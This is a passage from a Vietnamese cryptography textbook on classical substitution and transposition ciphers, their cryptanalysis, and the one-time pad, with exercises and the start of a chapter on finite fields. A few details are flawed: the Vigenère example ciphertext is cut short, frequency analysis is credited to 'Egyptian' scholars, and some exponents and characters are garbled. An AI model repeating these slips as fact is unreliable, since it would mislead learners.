thuận với kích thước khoá. Khóa càng dài thời gian tìm kiếm càng lâu và thường tăng
theo hàm mũ. Ta có thể giả thiết là kẻ thám mã có thể dựa vào bối cảnh để biết hoặc nhận
biết được bản rõ.
Sau đây là một số thống kê về mối liên hệ giữa độ dài khóa, kích thước không gian
khóa, tốc độ xử lý và thời gian tìm duyệt tổng thể. Chúng ta nhận thấy với độ dài khóa từ
128 bit trở lên, thời gian yêu cầu là rất lớn, lên đến hàng tỷ năm, như vậy có thể coi
phương pháp duyệt tổng thể là không hiện thực.
 - 17 -

II.1.6 Độ an toàn.
Có thể phân lọai an toàn thành hai kiểu như sau:
- An toàn không điều kiện: ở đây không quan trọng máy tính mạnh như thế nào, có
thể thực hiện được bao nhiêu phép toán trong một giây, mã hoá không thể bị bẻ, vì
bản mã không cung cấp đủ thông tin để xác định duy nhất bản rõ. Việc dùng bộ đệm
ngẫu nhiên một lần để mã dòng cho dữ liệu mà ta sẽ xét cuối bài này được coi là an
toàn không điều kiện. Ngoài ra chưa có thuật toán mã hóa nào được coi là an toàn
không điều kiện.
- An toàn tính toán: với nguồn lực máy tính giới hạn và thời gian có hạn (chẳng hạn
thời gian tính toán không quá tuổi của vũ trụ) mã hoá coi như không thể bị bẻ. Trong
trường hợp này coi như mã hóa an toàn về mặt tính toán. Nói chung từ nay về sau,
một thuật toán mã hóa an toàn tính toán được coi là an toàn.

II.2 Các mã thế cổ điển thay thế

Có hai loại mã cổ điển là mã thay thế và mã hoán vị (hay còn gọi là dịch chuyển).
Mã thay thế là phương pháp mà từng kí tự (nhóm kí tự) trong bản rõ được thay thế bằng
một kí tự (một nhóm kí tự) khác để tạo ra bản mã. Bên nhận chỉ cần thay thế ngược lại
trên bản mã để có được bản rõ ban đầu.
Trong phương pháp mã hoán vị, các kí tự trong bản rõ vẫn được giữ nguyên, chúng chỉ
được sắp xếp lại vị trí để tạo ra bản mã. Tức là các kí tự trong bản rõ hoàn toàn không bị
thay đổi bằng kí tự khác mà chỉ đảo chỗ của chúng để tạo thành bản mã.

Trước hết ta xét các mã cổ điển sử dụng phép thay thế các chữ của bản rõ bằng các chữ
khác của bảng chữ để tạo thành bản mã.
- Ở đây các chữ của bản rõ được thay bằng các chữ hoặc các số hoặc các ký tự khác.
- Hoặc nếu xem bản rõ như môt dãy bít, thì phép thế thay các mẫu bít bản rõ bằng các
mẫu bít bản mã.

II.2.1 Mã Ceasar
Đây là mã thế được biết sớm nhất, được sáng tạo bởi Julius Ceasar. Lần đầu tiên được sử
dụng trong quân sự. Việc mã hoá được thực hiện đơn giản là thay mỗi chữ trong bản rõ
bằng chữ thứ ba tiếp theo trong bảng chữ cái.
• Ví dụ:
o Meet me after the toga party
o PHHW PH DIWHU WKH WRJD SDUWB

Ở đây thay chữ m bằng chữ đứng thứ 3 sau m là p (m, n, o, p); thay chữ e bằng chữ đứng
thứ 3 sau e là h (e, f, g, h).
 - 18 -

• Có thể định nghĩa việc mã hoá trên qua ánh xạ trên bảng chữ cái sau: các chữ ở
dòng dưới là mã của các chữ tương ứng ở dòng trên:

a b c d e f g h i j k l m n o p q r s t u v w x y z
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
• Về toán học, nếu ta gán số thứ tự cho mỗi chữ trong bảng chữ cái. Các chữ ở
dòng trên có số thứ tự tương ứng là số ở dòng dưới:
a b c d e f g h i j k l m
0 1 2 3 4 5 6 7 8 9 10 11 12
n o p q r s t u v w x y z
13 14 15 16 17 18 19 20 21 22 23 24 25

thì mã Ceasar được định nghĩa qua phép tịnh tiến các chữ như sau:
c = E(p) = (p + k) mod (26)
p = D(c) = (c – k) mod (26)
Ở đây, p là số thứ tự của chữ trong bản rõ và c là số thứ tự của chữ tương ứng của
bản mã; k là khoá của mã Ceasar. Có 26 giá trị khác nhau của k, nên có 26 khoá
khác nhau. Thực tế độ dài khoá ở đây chỉ là 1, vì mọi chữ đều tịnh tiến đi một
khoảng như nhau.

• Thám mã Ceasar
là việc làm đơn giản, do số khoá có thể có là rất ít.
Chỉ có 26 khoá có thể, vì A chỉ có thể ánh xạ vào một trong số 26 chữ cái của
bảng chữ cái tiếng Anh: A, B, C, …Các chữ khác sẽ được xác định bằng số bước
tịnh tiến tương ứng của A. Kẻ thám mã có thể thử lần lượt từng khoá một, tức là
sử dụng phương pháp tìm duyệt tổng thể. Vì số khoá ít nên việc tìm duyệt là khả
thi. Cho trước bản mã, thử 26 cách dịch chuyển khác nhau, ta sẽ đoán nhận thông
qua nội dung các bản rõ nhận được.

Ví dụ. Bẻ bản mã "GCUA VQ DTGCM" bằng cách thử các phép tịnh tiến khác nhau
của bảng chữ, ta chọn được bước tịnh tiến thích hợp là 24 và cho bản rõ là "easy to
break".

II.2.2 Các mã bảng chữ đơn

Bây giờ ta khắc phục nhược điểm của mã Ceasar bằng cách mã hoá các chữ không chỉ là
dịch chuyển bảng chữ, mà có thể tạo ra các bước nhảy khác nhau cho các chữ. Trong một
mã mỗi chữ của bản rõ được ánh xạ đến một chữ khác nhau của bản mã. Do đó mỗi cách
mã như vậy sẽ tương ứng với một hoán vị của bảng chữ và hoán vị đó chính là khoá của
mã đã cho. Như vậy độ dài khoá ở đây là 26 và số khoá có thể có là 26!. Số khoá như
vậy là rất lớn.

Ví dụ. Ta có bản mã tương ứng với bản rõ trong mã bảng chữ đơn như sau:
Plain: abcdefghijklmnopqrstuvwxyz
Cipher: DKVQFIBJWPESCXHTMYAUOLRGZN
Plaintext: ifwewishtoreplaceletters
Ciphertext: WIRFRWAJUHYFTSDVFSFUUFYA
 - 19 -
- Tính an toàn của mã trên bảng chữ đơn. Tổng cộng có 26! xấp xỉ khoảng 4 x 1026
khoá. Với khá nhiều khoá như vậy nhiều người nghĩ là mã trên bảng chữ đơn sẽ an
toàn. Nhưng không phải như vậy. Vấn đề ở đây là do các đặc trưng về ngôn ngữ. Tuy
có số lượng khoá lớn, nhưng do các đặc trưng về tần suất xuất hiện của các chữ trong
bản rõ và các chữ tương ứng trong bản mã là như nhau, nên kẻ thám mã có thể đoán
được ánh xạ của một số chữ và từ đó mò tìm ra chữ mã cho các chữ khác. Ta sẽ xét
khía cạnh này cụ thể trong mục sau.
- Tính dư thừa của ngôn ngữ và thám mã. Ngôn ngữ của loài người là dư thừa. Có
một số chữ hoặc các cặp chữ hoặc bộ ba chữ được dùng thường xuyên hơn các bộ chữ
cùng độ dài khác. Chẳng hạn như các bộ chữ sau đây trong tiếng Anh "th lrd s m
shphrd shll nt wnt". Tóm lại trong nhiều ngôn ngữ các chữ không được sử dụng
thường xuyên như nhau. Trong tiếng Anh chữ E được sử dụng nhiều nhất; sau đó đến
các chữ T, R, N, I, O, A, S. Một số chữ rất ít dùng như: Z, J, K, Q, X. Bằng phương
pháp thống kê, ta c
ó thể xây dựng các bảng các tần suất các chữ đơn, cặp chữ, bộ ba chữ.
o

Bảng tần suất chữ cái tiếng Anh:

• Sử dụng bảng tần suất vào việc thám mã

Điều quan trọng là mã thế trên bảng chữ đơn không làm thay đổi tần suất tương
đối của các chữ, có nghĩa là ta vẫn có bảng tần suất trên nhưng đối với bảng chữ
mã tương ứng. Điều đó được phát hiện bởi các nhà khoa học Ai cập từ thế kỷ thứ
9. Do đó có cách thám mã trên bảng chữ đơn như sau:
- Tính toán tần suất của các chữ trong bản mã
- So sánh với các giá trị đã biết
- Tìm kiếm các chữ đơn hay dùng A-I-E, bộ đôi NO và bộ ba RST; và các bộ ít
dùng JK, X-Z..
- Trên bảng chữ đơn cần xác định các chữ dùng các bảng bộ đôi và bộ ba trợ giúp.

Ví dụ. Thám mã bản mã trên bảng chữ đơn, cho bản mã:
 - 20 -
UZQSOVUOHXMOPVGPOZPEVSGZWSZOPFPESXUDBMETSXAIZ
VUEPHZHMDZSHZOWSFPAPPDTSVPQUZWYMXUZUHSXEPYEP
OPDZSZUFPOUDTMOHMQ
- Tính tần suất các chữ
- Đoán P và Z là e và t.
- Khi đó ZW là th và ZWP là the.
- Suy luận tiếp tục ta có bản rõ:
it was disclosed yesterday that several informal but
direct contacts have been made with political
representatives in moscow

II.2.3 Mã Playfair
Như chúng ta đã thấy không phải số khoá lớn trong mã bảng chữ đơn đảm bảo an toàn
mã. Một trong các hướng khắc phục là mã bộ các chữ, tức là mỗi chữ sẽ được mã bằng
một số chữ khác nhau tùy thuộc vào các chữ mà nó đứng cạnh. Playfair là một trong các
mã như vậy, được sáng tạo bởi Charles Wheastone vào năm 1854 và mang tên người bạn
là Baron Playfair. Ở đây mỗi chữ có thể được mã bằng một trong 7 chữ khác nhau tùy
vào chữ cặp đôi cùng nó trong bản rõ.
Ma trận khoá Playfair. Cho trước một từ làm khoá, với điều kiện trong từ khoá đó không
có chữ cái nào bị lặp. Ta lập ma trận Playfair là ma trận cỡ 5 x 5 dựa trên từ khoá đã cho
và gồm các chữ trên bảng chữ cái, được sắp xếp theo thứ tự như sau:
- Trước hết viết các chữ của từ khoá vào các hàng của ma trận bắt từ hàng thứ
nhất.
- Nếu ma trận còn trống, viết các chữ khác trên bảng chữ cái chưa được sử dụng
vào các ô còn lại. Có thể viết theo một trình tự qui ước trước, chẳng hạn từ đầu
bảng chữ cái cho đến cuối.
- Vì có 26 chữ cái tiếng Anh, nên thiếu một ô. Thông thuờng ta dồn hai chữ nào
đó vào một ô chung, chẳng hạn I và J.
- Giả sử sử dụng từ khoá MORNACHY. Lập ma trận khoá Playfair tương ứng
như sau:
MONAR
CHYBD
EFGIK
LPQST
UVWXZ
Mã hoá và giải mã: bản rõ được mã hoá 2 chữ cùng một lúc theo qui tắc như sau:
- Chia bản rõ thành từng cặp chữ. Nếu một cặp nào đó có hai chữ như nhau, thì ta
chèn thêm một chữ lọc chẳng hạn X. Ví dụ, trước khi mã “balloon” biến đổi
thành “ba lx lo on”.
- Nếu cả hai chữ trong cặp đều rơi vào cùng một hàng, thì mã mỗi chữ bằng chữ ở
phía bên phải nó trong cùng hàng của ma trận khóa (cuộn vòng quanh từ cuối về
đầu), chẳng hạn “ar” biến đổi thành “RM”
- Nếu cả hai chữ trong cặp đều rơi vào cùng một cột, thì mã mỗi chữ bằng chữ ở
phía bên dưới nó trong cùng cột của ma trận khóa (cuộn vòng quanh từ cuối về
đầu), chẳng hạn “mu” biến đổi thành “CM”
 - 21 -
- Trong các trường hợp khác, mỗi chữ trong cặp được mã bởi chữ cùng hàng với
nó và cùng cột với chữ cùng cặp với nó trong ma trận khóa. Chẳng hạn, “hs” mã
thành “BP”, và “ea” mã thành “IM” hoặc “JM” (tuỳ theo sở thích)

An toàn của mã Playfair:

- An toàn được nâng cao so hơn với bảng đơn, vì ta có tổng cộng 26 x 26 = 676
cặp. Mỗi chữ có thể được mã bằng 7 chữ khác nhau, nên tần suất các chữ trên bản
mã khác tần suất của các chữ cái trên văn bản tiếng Anh nói chung.
- Muốn sử dụng thống kê tần suất, cần phải có bảng tần suất của 676 cặp để thám
mã (so với 26 của mã bảng đơn). Như vậy phải xem xét nhiều trường hợp hơn và
tương ứng sẽ có thể có nhiều bản mã hơn cần lựa chọn. Do đó khó thám mã hơn
mã trên bảng chữ đơn.
- Mã Playfair được sử dụng rộng rãi nhiều năm trong giới quân sự Mỹ và Anh
trong chiến tranh thế giới thứ 1. Nó có thể bị bẻ khoá nếu cho trước vài trăm chữ,
vì bản mã vẫn còn chứa nhiều cấu trúc của bản rõ.

II.2.4 Các mã đa bảng

Một hướng khác làm tăng độ an toàn cho mã trên bảng chữ là sử dụng nhiều bảng chữ để
mã. Ta sẽ gọi chúng là các mã thế đa bảng. Ở đây mỗi chữ có thể được mã bằng bất kỳ
chữ nào trong bản mã tùy thuộc vào ngữ cảnh khi mã hoá. Làm như vậy để trải bằng tần
suất các chữ xuất hiện trong bản mã. Do đó làm mất bớt cấu trúc của bản rõ được thể hiện
trên bản mã và làm cho thám mã đa bảng khó hơn. Ta sử dụng từ khoá để chỉ rõ chọn
bảng nào được dùng cho từng chữ trong bản tin. Sử dụng lần lượt các bảng theo từ khóa
đó và lặp lại từ đầu sau khi kết thúc từ khoá. Độ dài khoá là chu kỳ lặp của các bảng chữ.
Độ dài càng lớn và nhiều chữ khác nhau được sử dụng trong từ khoá thì càng khó thám
mã.

II.2.5 Mã Vigenere
Mã thế đa bảng đơn giản nhất là mã Vigenere. Thực chất quá trình mã hoá Vigenere là
việc tiếh hành đồng thời dùng nhiều mã Ceasar cùng một lúc trên bản rõ với nhiều khoá
khác nhau. Khoá cho mỗi chữ dùng để mã phụ thuộc vào vị trí của chữ đó trong bản rõ và
được lấy trong từ khoá theo thứ tự tương ứng.
Giả sử khoá là một chữ có độ dài d được viết dạng K = K1K2…Kd, trong đó Ki nhận giá
trị nguyên từ 0 đến 25. Khi đó ta chia bản rõ thành các khối gồm d chữ. Mỗi chữ thứ i
trong khối chỉ định dùng bảng chữ thứ i với tịnh tiến là Ki giống như trong mã Ceasar.
Trên thực tế khi mã ta có thể sử dụng lần lượt các bảng chữ và lặp lại từ đầu sau d chữ
của bản rõ. Vì có nhiều bảng chữ khac nhau, nên cùng một chữ ở các vị trí khác nhau sẽ
có các bước nhảy khác nhau, làm cho tần suất các chữ trong bản mã dãn tương đối đều.

Giải mã đơn giản là quá trình làm ngược lại. Nghĩa là dùng bản mã và từ khoá với các
bảng chữ tương ứng, nhưng với mỗi chữ sử dụng bước nhảy lui lại về đầu.

Ví dụ: Để sử dụng mã Vigenere với từ khóa và bản rõ cho trước ta có thể làm như sau:
- Viết bản rõ ra
- Viết từ khoá lặp nhiều lần phía trên tương ứng của nó
- Sử dụng mỗi chữ của từ khoá như khoá của mã Ceasar
 - 22 -
- Mã chữ tương ứng của bản rõ với bước nhảy tương ứng.
- Chẳng hạn sử dụng từ khoá deceptive
key: deceptivedeceptivedeceptive
plaintext: wearediscoveredsaveyourself
ciphertext:ZICVTWQNGRZGVTWAVZHCQYGL

Để mã chữ w đầu tiên ta tìm chữ đầu của khóa là d, như vậy w sẽ được mã trên bảng chữ
tịnh tiến 3 (tức là a tịnh tiến vào d). Do đó chữ đầu w được mã bởi chữ Z. Chữ thứ hai
trong từ khóa là e, có nghĩa là chữ thứ hai trong bản rõ sẽ được tịnh tiến 4 (từ a tịnh tiến
đến e). Như vậy thứ hai trong bản rõ e sẽ được mã bởi chữ I. Tương tự như vậy cho đến
hết bản rõ.

Trên thực tế để hỗ trợ mã Vigenere, người ta đã tạo ra trang Saint – Cyr để trợ giúp cho
việc mã và giải mã thủ công. Đó là một bảng cỡ 26 x 26 có tên tương ứng là các chữ cái
trong bảng chữ tiếng Anh. Hàng thứ i là tịnh tiến i chữ của bảng chứ cái. Khi đó chữ ở
cột đầu tiên chính là khoá của bảng chữ ở cùng hàng. Do đó chữ mã của một chữ trong
bản rõ nằm trên cùng cột với chữ đó và nằm trên hàng tương ứng với chữ khoá.

ABCDEFGHIJKLMNOPQRSTUVWXYZ

A ABCDEFGHIJKLMNOPQRSTUVWXYZ
B BCDEFGHIJKLMNOPQRSTUVWXYZA
C CDEFGHIJKLMNOPQRSTUVWXYZAB
D DEFGHIJKLMNOPQRSTUVWXYZABC
E EFGHIJKLMNOPQRSTUVWXYZABCD
F FGHIJKLMNOPQRSTUVWXYZABCDE
G GHIJKLMNOPQRSTUVWXYZABCDEF
H HIJKLMNOPQRSTUVWXYZABCDEFG
I IJKLMNOPQRSTUVWXYZABCDEFGH
J JKLMNOPQRSTUVWXYZABCDEFGHI
K KLMNOPQRSTUVWXYZABCDEFGHIJ
L LMNOPQRSTUVWXYZABCDEFGHIJK
M MNOPQRSTUVWXYZABCDEFGHIJKL
N NOPQRSTUVWXYZABCDEFGHIJKLM
O OPQRSTUVWXYZABCDEFGHIJKLMN
P PQRSTUVWXYZABCDEFGHIJKLMNO
Q QRSTUVWXYZABCDEFGHIJKLMNOP
R RSTUVWXYZABCDEFGHIJKLMNOPQ
S STUVWXYZABCDEFGHIJKLMNOPQR
T TUVWXYZABCDEFGHIJKLMNOPQRS
U UVWXYZABCDEFGHIJKLMNOPQRST
V VWXYZABCDEFGHIJKLMNOPQRSTU
W WXYZABCDEFGHIJKLMNOPQRSTUV
X XYZABCDEFGHIJKLMNOPQRSTUVW
Y YZABCDEFGHIJKLMNOPQRSTUVWX
Z ZABCDEFGHIJKLMNOPQRSTUVWXY
 - 23 -
Bảng Saint Cyr

An toàn của mã Vigenere. Như vậy có chữ mã khác nhau cho cùng một chữ của bản rõ.
Suy ra tần suất của các chữ bị là phẳng, nghĩa là tần suất xuất hiện các chữ trên bản mã
tương đối đều nhau. Tuy nhiên chưa mất hoàn toàn, do độ dài của khoá có hạn, nên có thể
tạo nên chu kỳ vòng lặp. Kẻ thám mã bắt đầu từ tần suất của chữ để xem có phải đây là
mã đơn bảng chữ hay không. Giả sử đây là mã đa bảng chữ, sau đó xác định số bảng chữ
trong từ khoá và lần tìm từng chữ. Như vậy cần tăng độ dài từ khoá để tăng số bảng chữ
dùng khi mã để “là” tần suất của các chữ.

II.2.6 Phương pháp thám mã Kasiski

Phương pháp phát triển bởi Babbage và Kasiski. Ta thấy các chữ như nhau trên bản rõ và
cách nhau một khoảng đúng bằng độ dài từ khoá (chu kỳ), thì sẽ được mã bằng cùng một
chữ. Như vậy từ độ lặp của các chữ trong bản mã có thể cho phép xác định chu kỳ. Tất
nhiên không phải khi nào cũng tìm được độ dài từ khoá. Sau đó tìm các chữ trong từ khoá
bằng cách tấn công từng bảng chữ đơn với cùng kỹ thuật dựa trên các bảng tần suất của
các bộ chữ như trước.

II.2.7 Mã khoá tự động

Lý tưởng nhất là ta có khoá dài như bản tin. Do đó Vigenere đề xuất khoá tự động sinh
cho bằng độ dài bản tin như sau: từ khoá được nối tiếp bằng chính bản rõ để tạo thành
khoá. Sau đó dùng mã Vigenere để mã bản rõ đã cho. Khi đó biết từ khoá có thể khôi
phục được một số chữ ban đầu của bản rõ. Sau đó tiếp tục sử dụng chúng để giải mã cho
văn bản còn lại. Sự cải tiến này làm mất khái niệm chu kỳ, gây khó khăn cho việc thám
mã, nhưng vẫn còn đặc trưng tần suất để tấn công.

Ví dụ. Cho từ khoá deceptive. Ta viết bản rõ nối tiếp vào từ khoá tạo thành từ khoá mới
có độ dài bằng độ dài bản rõ.
key: deceptivewearediscoveredsav
plaintext: wearediscoveredsaveyourself
ciphertext:ZICVTWQNGKZEIIGASXSTSLVVWLA

II.2.8 Bộ đệm một lần

Nếu khoá thực sự ngẫu nhiên được dùng và có độ dài bằng bản rõ thì ta nói đó là bộ đệm
một lần. Vì nó chỉ được dùng một lần và ngẫu nhiên, nên mã hoá sẽ an toàn. Mã sẽ không
bẻ được vì bản mã không có liên quan thống kê gì với bản rõ, do bộ đệm được sinh ngẫu
nhiên. Có thể nói mã bộ đệm một lần là an toàn tuyệt đối, vì với bản rõ bất kỳ và bản mã
bất kỳ, luôn tồn tại một khoá để ánh xạ bản rõ đó sang bản mã đã cho. Về mặt lý thuyết,
xác suất để mọi mẩu tin (có cùng độ dài với bản rõ) trên bảng chữ mã là mã của một bản
rõ cho trước là như nhau. Khoá chỉ sử dụng một lần, nên các lần mã là độc lập với nhau.
Vấn đề khó khăn của mã bộ đệm một lần là việc sinh ngẫu nhiên khóa và phân phối khoá
an toàn. Do đó bộ đệm một lần ít được sử dụng và chỉ dùng trong trường hợp đòi hỏi bảo
mật rất cao.

II.3 Các mã thế cổ điển hoán vị

 - 24 -

Trong các mục trước chúng ta đã xét một số mã thay thế, ở đó các chữ của bản rõ được
thay thế bằng các chữ khác của bản mã. Bây giờ chúng ta xét đến loại mã khác, mã hoán
vị, các chữ trong bản rõ không được thay thế bằng các chữ khác mà chỉ thay đổi vị trí, tức
là việc mã hoá chỉ dịch chuyển vị trí tương đối giữa các chữ trong bản rõ. Như vậy, nó
dấu bản rõ bằng cách thay đổi thứ tự các chữ, nó không thay đổi các chữ thực tế được
dùng. Do đó bản mã có cùng phân bố tần suất xuất hiện các chữ như bản gốc. Như vậy có
thể thám mã để phát hiện được.

II.3.1 Mã Rail Fence

Đây là mã hoán vị đơn giản. Viết các chữ của bản rõ theo đường chéo trên một số dòng.
Sau đó đọc các chữ theo theo từng dòng sẽ nhận được bản mã. Số dòng chính là khoá của
mã. Vì khi biết số dòng ta sẽ tính được số chữ trên mỗi dòng và lại viết bản mã theo các
dòng sau đó lấy bản rõ bằng cách viết lại theo các cột.

Ví dụ. Viết bản tin “meet me after the toga party” lần lượt trên hai dòng như sau
m e m a t r h t g p r y
e t e f e t e o a a t

Sau đó ghép các chữ ở dòng thứ nhất với các chữ ở dòng thứ hai cho bản mã:
MEMATRHTGPRYETEFETEOAAT
•

II.3.2 Mã dịch chuyển dòng

Mã có sơ đồ phức tạp hơn. Viết các chữ của bản tin theo các dòng với số cột xác định.
Sau đó thay đổi thứ tự các cột theo một dãy số khoá cho truớc, rồi đọc lại chúng theo các
cột để nhận được bản mã. Quá trình giải mã được thực hiện ngược lại.
Ví dụ:
Key: 431 25 6 7
Plaintext: a t t a c k p
o s t po n e
d u n t i l t
wo amxy z
Ta đọc theo thứ tự các cột từ 1 đến 7 để nhận được bản mã:
Ciphertext: TTNAAPTMTSUOAODWCOIXKNLYPETZ

II.3.2 Mã tích
Mã dùng hoán vị hoặc dịch chuyển không an toàn vì các đặc trưng tần xuất của ngôn ngữ
không thay đổi. Có thể sử dụng một số mã liên tiếp nhau sẽ làm cho mã khó hơn. Mã cổ
điển chỉ sử dụng một trong hai phương pháp thay thế hoặc hoán vị. Người ta nghĩ đến
việc kết hợp cả hai phương pháp này trong cùng một mã và có thể sử dụng đan xen hoặc
lặp nhiều vòng. Đôi khi ta tưởng lặp nhiều lần cùng một loại mã sẽ tạo nên mã phức tạp
hơn, nhưng trên thực tế trong một số trường hợp về bản chất chúng cũng tương đương
với một lần mã cùng loại nào đó như: tích của hai phép thế sẽ là một phép thế; tích của
hai phép hoán vị sẽ là một phép hoán vị. Nhưng nếu hai loại mã đó khác nhau thì sẽ tạo
nên mã mới phức tạp hơn, chính vì vậy phép thế được nối tiếp bằng phép dịch chuyển sẽ
 - 25 -
tạo nên mã mới khó hơn rất nhiều. Đây chính là chiếc cầu nối từ mã cổ điển sang mã hiện
đại.
Điểm yếu của mã cổ điển:
- Phương pháp mã hoá cổ điển có thể dễ dàng bị giải mã bằng cách đoán chữ dựa trên
phương pháp thống kê tần xuất xuất hiện các chữ cái trên mã và so sánh với bảng
thống kê quan sát của bản rõ.
- Để dùng được mã hoá cổ điển thì bên mã hoá và bên giải mã phải thống nhất với
nhau về cơ chế mã hoá cũng như giải mã. Nếu không thì hai bên sẽ không thể làm
việc được với nhau.

II.4 Một số vấn đề khác.

II.4.1 Máy quay
Trước khi có mã hiện đại, máy quay là mã tích thông dụng nhất. Chúng được sử dụng
rộng rãi trong chiến tranh thế giới thứ hai: Đức, đồng minh và Nhật. Máy quay tạo nên
mã thay thế rất đa dạng và phức tạp. Trong máy có sử dụng một số lõi hình trụ, mỗi lõi
ứng với một phép thế, khi quay sẽ thay thế mỗi chữ bằng một chữ khác tương ứng. Với 3
hình trụ khác nhau, ta có 26 x 26 x 26 = 17576 bảng chữ.
II.4.2 Dấu tin
Một trong những kỹ thuật khác để đảm bảo tính bảo mật của thông tin được gửi là dấu
tin. Đây là một sự lựa chọn dùng kết hợp hoặc đồng thời với mã. Dấu tin là dấu sự tồn tại
của bản tin cần bảo mật trong một thông tin khác như: trong bản tin dài chỉ dùng một tập
con các chữ/từ được đánh dấu bằng cách nào đó; sử dụng mực không nhìn thấy; dấu tin
trong các file âm thanh hoặc hình ảnh. Các kỹ thuật này gần đây cũng được quan tâm
nghiên cứu. Tuy nhiên nó có nhược điểm là chỉ dấu được lượng thông tin nhỏ các bít.
- 26 -
 - 27 -
Bài tập

1. Cho biến đọan mã sau dùng mã Cesar

"GCUA VQ DTGCM"
Suy luận tìm bản rõ.
2. Sử dụng kỹ thuật thám mã bảng chữ đơn, lập bảng tần suất các chữ, bộ chữ đôi, bộ
chữ ba của đọan mã sau:
UZQSOVUOHXMOPVGPOZPEVSGZWSZOPFPESXUDBMETSXAIVUEPHZH
MDZSHZOWSFPAPPDTSVPQUZWYMXUZUHSXEPYEPOPDZSZUFPOUDTM
OHMQ
Lập luận và cho biết ánh xạ của bảng chữ đơn và đưa ra bản rõ phù hợp
3. Nêu thuật toán dùng bảng Saint Cyr để mã hóa và giải mã Vigenere khi biết từ khóa.
Áp dụng thuật toán đó mã hóa bản rõ sau: “Network Security is very important for
software development” với từ khóa là “COMPUTER SCIENCE”
4. Tại sao có thể nói “Có thể nói mã bộ đệm một lần là an toàn tuyệt đối, vì với bản rõ
bất kỳ và bản mã bất kỳ, luôn tồn tại một khoá để ánh xạ bản rõ đó sang bản mã đã
cho”. Giải thích nhận định sau “Về mặt lý thuyết, xác suất để mọi mẩu tin (có cùng
độ dài với bản rõ) trên bảng chữ mã là mã của một bản rõ cho trước là như nhau”.
5. Tìm bản mã của bản rõ “We are studying cryptography this year” sử dụng mã
Playfair với từ khóa “information technology”.
6. Chứng tỏ rằng, phép dịch chuyển không khắc phục được tính dư thừa của ngôn ngữ
tự nhiên.
7. Chứng minh rằng tích của hai phép thế đơn là một phép thế đơn và tích của hai phép
dịch chuyển là một phép dịch chuyển. Có thể nói gì về tích của một phép thế đơn và
một phép dịch chuyển.
8. Có bao nhiêu khóa Playfair khác nhau.
9. Mã hóa bản rõ “Chung toi se la nhung ky su cong nghe thong tin gioi trong mot vai
nam nua” sử dụng từ khóa 631425.
10. Giả sử dùng mã dịch chuyển dòng với 8 cột. Hỏi có bao nhiêu khóa khác nhau.
Nêu thuật toán giải mã với từ khóa cho trước.
11. Chứng minh rằng: tích của hai phép thế sẽ là một phép thế; tích của hai phép hoán
vị sẽ là một phép hoán vị.
 - 28 -
CHƯƠNG 3:
TRƯỜNG HỮU HẠN

Mở đầu
Giới thiệu về cấu trúc đại số - trường hữu hạn. Đây là mô hình toán học đóng vai trò
quan trọng trong lý thuyết mã như đối với chuẩn mã nâng cao AES, mã đường cong
Elip, mã IDEA và khoá công khai. Nó liên quan đến các phép toán trên “số”: ở đây sẽ
xét “số” là khái niệm khái quát hơn các số nguyên, số thực, số phức thường gặp trong
số học, nói chung “số” có thể là các phần tử trong một tập hợp nào đó. Đồng thời trên
tập hợp đó có trang bị các phép toán tương ứng thoả mãn một số tính chất nhất định
như các số với các phép toán cộng, trừ hoặc nhân, chia. Ta bắt đầu từ các khái niệm
về nhóm, vành, trường của đại số trừu tượng.

III.1 Các cấu trúc đại số

III.1.1 Nhóm
Cho một tập các phần tử hoặc “số” và một phép toán hai ngôi, mà kết quả cũng là một
phần tử của tập hợp đó. Tức là ứng với mỗi cặp phần tử trên tập đó, kết quả của phép
toán cũng là một phần tử xác định của tập đã cho. Tính chất này ta gọi là tính đóng
của phép toán trên tập đang xét.
Định nghĩa nhóm. Tập hợp G đó với phép toán . đã cho được gọi là nhóm, nếu nó
thỏa mãn các tính chất sau với mọi phần tử a, b, c thuộc G:
o Tính kết hợp (a.b).c = a.(b.c)

o Có đơn vị e: e.a = a.e = a

o Có nghịch đảo a-1: a.a-1 = e

o
Nếu có thêm tính giao hoán a.b = b.a, thì gọi là nhóm Aben hay nhóm
giao hoán.
Định nghĩa nhóm xiclic.
o Định nghĩa lũy thừa như là việc áp dụng lặp phép toán:
Ví dụ: a3 = a.a.a

o Và đơn vị e=a0
•
o Một nhóm được gọi là xiclic nếu mọi phần tử đều là lũy thừa của một
phần tử cố định nào đó. Chẳng hạn b = ak đối với a cố định và mỗi b trong
nhóm.
o Khi đó a được gọi là phần tử sinh của nhóm.

III.1.2 Vành
 - 29 -
Cho một tập R các “số” với hai phép toán được gọi là cộng và nhân. Ở đây “số” được
hiểu là phần tử của tập hợp và hai phép toán trên xác định trên tập hợp đó. Tập với
hai phép toán trên được gọi là vành, nếu hai phép toán thoả mãn các tính chất sau
o Với phép cộng, R là nhóm Aben
o Với phép nhân, có
 tính đóng và
 tính kết hợp
 tính phân phối đối với phép cộng a(b+c) = ab + ac
Nếu phép nhân có tính giao hoán thì tạo thành vành giao hoán.
Nếu phép nhân có nghịch đảo và không có thương 0 (tức là không có hai phần khác 0
mà tích của chúng lại bằng 0), thì nó tạo thành miền nguyên

III.1.3 Trường là một tập hợp F với hai phép toán cộng và nhân, thoả mãn tính chất
sau:
o Với phép cộng F là nhóm Aben
o Với phép nhân F trừ phần tử 0 là nhóm Aben.
o F là một vành
Có thể nói là có các phép toán cộng, trừ, nhân, chia số khác 0. Phép trừ được coi
như là cộng với số đối của phép cộng và phép chia là nhân với số đối của phép
nhân:
a – b = a + (-b)
a / b = a.b-1
Ví dụ: Dễ dàng thấy, với phép cộng và nhân thông thường:
o Tập số nguyên Z là nhóm Aben với phép cộng
o Tập số nguyên Z là vành giao hoán.
o Tập số hữu tỉ Q là trường.
o Tập số thực R là trường.
o Tập số phức C là trường với phép cộng và nhân hai số phức.

III.2 Số học trên Modulo

IV.2.1 Định nghĩa Modulo.

Cho số tự nhiên n và số nguyên a. Ta định nghĩa: a mod n là phần dư dương khi
chia a cho n.

Định nghĩa quan hệ tương đương trên tập số nguyên

a ≡ b mod n

khi và chỉ khi a và b có phần dư như nhau khi chia cho n.

o Ví dụ: 100 mod 11 = 1; 34 mod 11 = 1, nên 100 ≡ 34 mod 11

o Số b được gọi là đại diện của a, nếu

o
 - 30 -
o a ≡ b mod n
(a = qn + b)
và
0 <= b < n.

o Ví dụ: -12 mod 7 ≡ -5 mod 7 ≡ 2 mod 7 ≡ 9 mod 7. Ở

đây 2 là đại diện của –12, -5, 2 và 9.
o Trong Modulo 7 ta có các lớp tuơng đương viết trên các hàng như sau:
...
-21 -20 -19 -18 -17 -16 -15
-14 -13 -12 -11 -10 -9 -8
